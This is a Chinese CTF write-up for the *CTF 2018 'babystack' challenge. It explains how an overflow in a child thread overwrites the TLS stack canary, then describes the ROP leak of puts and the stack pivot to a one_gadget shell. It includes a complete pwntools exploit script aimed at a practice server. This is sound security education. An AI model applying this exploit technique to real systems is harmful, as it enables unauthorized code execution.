收获

  • 当溢出长度够大且程序创建了子线程时,可以通过修改 TLS 结构体中的 stack_guard 来控制 Canary

  • GDB 进行多线程的调试方法

  • 通过 read() 将 one_gadget 写到 BSS 段上,然后利用栈迁移执行 one_gadget

  • 如果发现成功构造 system("/bin/sh") 后仍出现错误,尝试使用 one_gadget 或者 ret2syscall 构造 execve("/bin/sh", 0, 0) 来 getshell


【Star Ctf 2018】babystack


思路

查看程序保护:

【starctf2018】babystack1.png

已知 Glibc 版本为 2.27

尝试运行:

【starctf2018】babystack2.png

IDA 下分析:

【starctf2018】babystack3.png

程序通过 pthread_create(newthread, 0LL, start_routine, 0LL); 创建了一个线程

注意,关于线程函数的一点说明:

pthread_create 用于创建一个线程,pthread_join 使一个线程等待另一个线程结束

如果没有 pthread_join 的话,主线程会很快结束从而使整个进程结束,创建的线程还没有机会执行整个线程就已经结束了

使用了 pthread_join 后,主线程会一直等待,直到等待的线程结束后主线程才会结束,使创建的线程有机会执行

线程从 start_routine() 函数开始执行:

【starctf2018】babystack4.png

首先通过 sub_400906() 获取用户输入,这个输入表示我们想要发送多少字节的数据:

【starctf2018】babystack5.png

这里的 atol() 函数将我们输入的字符串转换成一个长整数,返回给 v2

如果 v2 <= 0x10000,就调用 sub_400957(0LL, s, v2); 让我们向 s 中输入数据

【starctf2018】babystack6.png

注意到 memset(s, 0, 0x1000uLL);s 初始化的空间长度为 0x1000,远远小于 0x10000,因此是存在溢出的

这里溢出的长度非常大,我们可以覆盖很多内容

由于 Canary 的生成是在程序的函数入口处从 GS 段(32 位)或 FS 段(64 位)内获取一个随机值,可以在 IDA 中看到对应位置:

CTF-PWN_Bypass安全机制13.png

栈上的 Canary 的值其实来自于 TLS(Thread Local Storage),在 64 位程序中,TLS 由 FS 寄存器指向,因此这里的 fs:28h 其实是 Canary 在 TLS 中的偏移

当程序创建线程的时候,会顺便创建一个 TLS 用来存储线程私有的数据,该 TLS 也会存储 Canary 的值,而 TLS 会保存在栈的高地址处 (这也是为什么说同一个进程中的不同线程的 Canary 是相同的)

因此,我们只要覆盖 TLS 中 Canary 的值,那么整个程序的 Canary 的值就是由我们来定的了

接下来就是动态调试确定偏移量了

注意,这里涉及到多线程,需要进行多线程的 GDB 动态调试,如果不熟悉的话,可以看看本站《GDB的基础和使用》一文中的《pthread 多线程调试》部分

为了便于我们调试,我们首先在子线程的 start_routine() 中下好断点:

b *0x4009E7

【starctf2018】babystack8.png

GDB 就自动调试到子线程中了,一直到 sub_400906() 让我们输入长度时,输入大一点,我这里输入 0x3000

但是发现好像第二次在 sub_400957(0, s, v2); 中的输入被跳过了

【starctf2018】babystack9.png

由于我们也没办法输入回车符、换行符,因此用脚本来测试

io.recvuntil(b"How many bytes do you want to send?\n")
io.sendline(str(0x3000))
gdb.attach(io)
pause()
io.sendline(b'aaaaaaaa')

进入调试后,我们首先需要将调试的线程切换到子线程:

(gdb) thread 2

然后正常调试发送 payload,查看栈中的布局:

【starctf2018】babystack10.png

我们输入的数据在 0x7f97df1fdee0 地址处

GDB 获取子线程的 TLS 在栈上的首地址:

(gdb) x/x pthread_self()

由于 Canary 在 TLS 中偏移 0x28 的位置:

【starctf2018】babystack11.png

于是我们输入的位置距离 TLS 中 Canary 的位置:(0x7f97df1ff700 + 0x28) - 0x7f97df1fdee0 = 0x1848 字节

因此我们至少需要溢出 0x1848 + 0x8 = 0x1850 字节

虽然程序没有开 PIE,但也没有 system()b'/bin/sh',因此我们还是需要通过 libc 偏移进行计算,这里选择先使用 puts_plt_addr 输出 puts_got_addr 泄露 puts() 的真实地址

同时,这里只有一次机会

反正我尝试让程序执行流回到 start_routine() 或者 main() 后,在第二次发送 payload 时都会导致程序崩溃

因此,最后选择首先通过 read()system("/bin/sh") 写到一个可写入的地方,我这里选择的是 BSS 段首地址的下一地址 target_addr

然后利用 leave; ret 指令实现栈迁移

其中 leave 指令将 EBP 迁移到 target_addr - 8 的地方(即:BSS 段的首地址处),由于出栈操作使 RSP + 8 让 RSP 指向 target_addr 的位置

然后通过 ret 指令执行我们写在 BSS 段上的 system("/bin/sh")

其实只要保证 read() 写入的地方在 EBP 迁移过去的地址的下一地址处即可

如果对栈迁移的流程不太清楚,可以查看本站《栈迁移》一文的《可以覆盖到返回地址》部分

但实际操作时发现,我们确实已经成功构造了 system("/bin/sh")

【starctf2018】babystack12.png

但是会在 do_system() 中发生段错误,导致无法 getshell

【starctf2018】babystack13.png

暂时不知道错误发生的原因

但是通过 one_gadget 执行 execve("/bin/sh", 0, 0) 是可以 getshell 的

【starctf2018】babystack14.png

这几个都尝试了一下,发现 one_gadget_libc = 0x4f322 是可以的


脚本

from pwn import *

# 设置系统架构, 打印调试信息
# arch 可选 : i386 / amd64 / arm / mips
context(os='linux', arch='amd64', log_level='debug')
# PWN 远程 : content = 0, PWN 本地 : content = 1
content = 0
elf = ELF('./bs')
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF('/opt/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')

if content == 1:
	# 将本地的 Linux 程序启动为进程 io
    io = process("./bs")
else:
	# 远程程序的 IP 和端口号
    io = remote("node5.buuoj.cn", 26929)


# 附加 gdb 调试
def debug(cmd=""):
    if content == 1:   # 只有本地才可调试,远程无法调试
        gdb.attach(io, cmd)
        pause()


bss_start = elf.bss()
print("bss_start -->", bss_start)
target_addr = bss_start + 0x8
print("target_addr -->", target_addr)
pop_rdi_ret = 0x400c03
pop_rsi_r15_ret = 0x400c01
leave_ret = 0x400955
read_plt = elf.plt["read"]
puts_got_addr = elf.got["puts"]
puts_plt_addr = elf.plt["puts"]
read_plt_addr = elf.plt["read"]
offset = 0x1850


io.recvuntil(b"How many bytes do you want to send?\n")
io.sendline(str(offset))   # 构造 payload 至少需要 0x1850 的长度
payload = b'a' * 0x1008   # 填充 0x1008 个垃圾数据到达 Canary
payload += p64(0xdeadbeef)   # 0xdeadbeef 是被我们修改后的 Canary
payload += p64(target_addr - 0x8)   # 当前 rbp 的位置,填写栈迁移的地址
payload += p64(pop_rdi_ret) + p64(puts_got_addr) + p64(puts_plt_addr)
payload += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(target_addr) + p64(0) + p64(read_plt_addr)
payload += p64(leave_ret)
payload = payload.ljust(0x1848, b"a")   # 长度填充到 0x1848 到达 TLS 中 Canary 的位置
payload += p64(0xdeadbeef)   # 修改 TLS 中的 stack_guard,也就是 Canary
# debug()
io.send(payload)   # payload 长度刚好 0x1850,因此不要用 sendline

io.recvuntil(b"It's time to say goodbye.\n")
puts_addr = u64(io.recv()[:6].ljust(8, b'\x00'))
print("puts_addr -->", hex(puts_addr))

one_gadget_libc = 0x4f322
libcbase = puts_addr - libc.symbols["puts"]
one_gadget_addr = libcbase + one_gadget_libc   # 根据 libc 偏移计算 one_gadget 真实地址

system_addr = libcbase + libc.symbols["system"]
bin_sh_addr = libcbase + next(libc.search(b'/bin/sh'))
print("system_addr -->", hex(system_addr))
print("bin_sh_addr -->", hex(bin_sh_addr))

payload = p64(one_gadget_addr)
# payload = p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
debug()
io.sendline(payload)

# 与远程交互
io.interactive()

结果

flag{4f062841-5776-44e5-b0fc-adab7593184b}

【starctf2018】babystack7.png